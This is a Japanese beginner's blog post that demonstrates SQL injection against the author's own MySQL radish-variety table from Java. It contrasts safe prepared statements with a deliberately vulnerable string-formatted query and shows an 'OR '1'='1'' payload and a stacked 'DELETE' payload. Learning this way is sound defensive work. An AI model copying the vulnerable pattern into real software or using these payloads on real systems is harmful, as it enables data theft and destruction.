はじめに
プログラマーとして2年目になった今日この頃、
嬉しいことに最近ではコードを書く機会が増えてきています。
書く機会が増えると気になってくるのがコードの最適化もそうなのですが、やはりセキュリティ面でしょう。
特に気になっていたのが資格勉強や調べ事をしていると頻出する「SQLインジェクション」という攻撃、知識はあっても自分で試したことはないこの攻撃を、ちょうどいい機会なので、たまたま構築していた自作のDBにやってみようと思います。
攻撃対象
Hyper-Vで構築したCentOS Linuxです。
MySQLが入っています。
テーブルは以下の通り。
| id | name | season |
|---|---|---|
| 1 | AokubiSoubutori | Autumn |
| 2 | TaibyoSoubutori | Autumn |
| 3 | HarumakiAokubiSoubutori | Spring |
大根の品種と播種時期が登録されている大根テーブルです。現在は6つのレコードが登録されています。
攻撃方法
SQLインジェクションです。
言語はJavaを使用します。
準備
攻撃するにも準備が必要です。
ホストPCと仮想環境との接続は事前に済ませてあるので今回は飛ばします。
まずはDBに接続してSELECT文で情報を取得できるかを試してみましょう。
public void getTable() {
String sql = "SELECT * FROM daikon;";
try (Connection conn = DriverManager.getConnection(URL,USERNAME,PASSWORD);
PreparedStatement pstmt = conn.prepareStatement(sql);
ResultSet rs = pstmt.executeQuery()){
System.out.println("connection");
while (rs.next()) {
int id = rs.getInt("id");
String name = rs.getString("name");
String season = rs.getString("season");
System.out.println("ID:" + id + " Name:" + name + " Season:" + season);
}
} catch (SQLException e ) {
e.printStackTrace();
}
}
実行結果はこちら
# 実行結果
connection
ID:1 Name:AokubiSoubutori Season:Autumn
ID:2 Name:TaibyoSoubutori Season:Autumn
ID:3 Name:HarumakiAokubiSoubutori Season:Spring
ID:4 Name:Syogoin Season:Autumn
ID:5 Name:Miura Season:Autumn
ID:6 Name:Santaro Season:Spring
多少雑ではありますが無事取得できていますね。
ついでにINSERT文も試してみましょう。
public void setRecord() {
String sql = "INSERT INTO daikon(name, season) VALUES (?,?);";
try (Connection conn = DriverManager.getConnection(URL,USERNAME,PASSWORD);
PreparedStatement pstmt = conn.prepareStatement(sql)){
System.out.println("connection");
pstmt.setString(1, "Karami");
pstmt.setString(2, "Autumn");
pstmt.executeUpdate();
} catch (SQLException e ) {
e.printStackTrace();
}
}
改めて取得してみるとこんな感じ
# 実行結果
connection
ID:1 Name:AokubiSoubutori Season:Autumn
ID:2 Name:TaibyoSoubutori Season:Autumn
ID:3 Name:HarumakiAokubiSoubutori Season:Spring
ID:4 Name:Syogoin Season:Autumn
ID:5 Name:Miura Season:Autumn
ID:6 Name:Santaro Season:Spring
ID:7 Name:Karami Season:Autumn
これで自由にDBを操作できることが確認できました。
攻撃開始
早速攻撃をしていきたいのですが、先ほど書いた文は「静的プレースホルダ」というものを使用しているので悪さができません。
次は脆弱なコードを書いていきましょう。
public void getRecord() {
String sql = "SELECT * FROM daikon WHERE id = %s";
try (Connection conn = DriverManager.getConnection(URL,USERNAME,PASSWORD);
Statement stmt = conn.createStatement()){
String name = "1 OR '1'='1';";
String result = String.format(sql, name);
ResultSet rs = stmt.executeQuery(result);
while (rs.next()) {
int id = rs.getInt("id");
String recordName = rs.getString("name");
String recordSeason = rs.getString("season");
System.out.println("ID:" + id + " Name:" + recordName + " Season:" + recordSeason);
}
} catch (SQLException e ) {
e.printStackTrace();
}
}
少し無理やりなところはありますが、一応与えられたIDに当てはまるレコードを取得することを想定したコードです。
ですが上記のコードを実行した際に組み立てられるSQLはこちら。
SELECT * FROM daikon WHERE id = 1 OR '1'='1';
ポイントは後ろのOR '1'= '1'という部分です。
これでは条件が必ず達成されてしまうので
全件取得できてしまいます。
更に以下のように変えてあげれば
//String name = "1 OR '1'='1';";
String name = "1; DELETE FROM daikon WHERE id = 7;";
# 実行結果
connection
ID:1 Name:AokubiSoubutori Season:Autumn
ID:2 Name:TaibyoSoubutori Season:Autumn
ID:3 Name:HarumakiAokubiSoubutori Season:Spring
ID:4 Name:Syogoin Season:Autumn
ID:5 Name:Miura Season:Autumn
ID:6 Name:Santaro Season:Spring
このようにDELETE文も実行させることができます。
(JavaのStatement+MySQLの組み合わせだとデフォルトの設定では先ほどの1文で2つの命令文の実行は許可されていないので、設定変更が必要です。)
最後に
SQLインジェクションは多少の知識があれば簡単に試すことができる攻撃です。
このような脆弱性のあるコードを書かないように、また相手を知るためにも一度試してはいかがでしょうか?
勿論、悪用はだめですよ!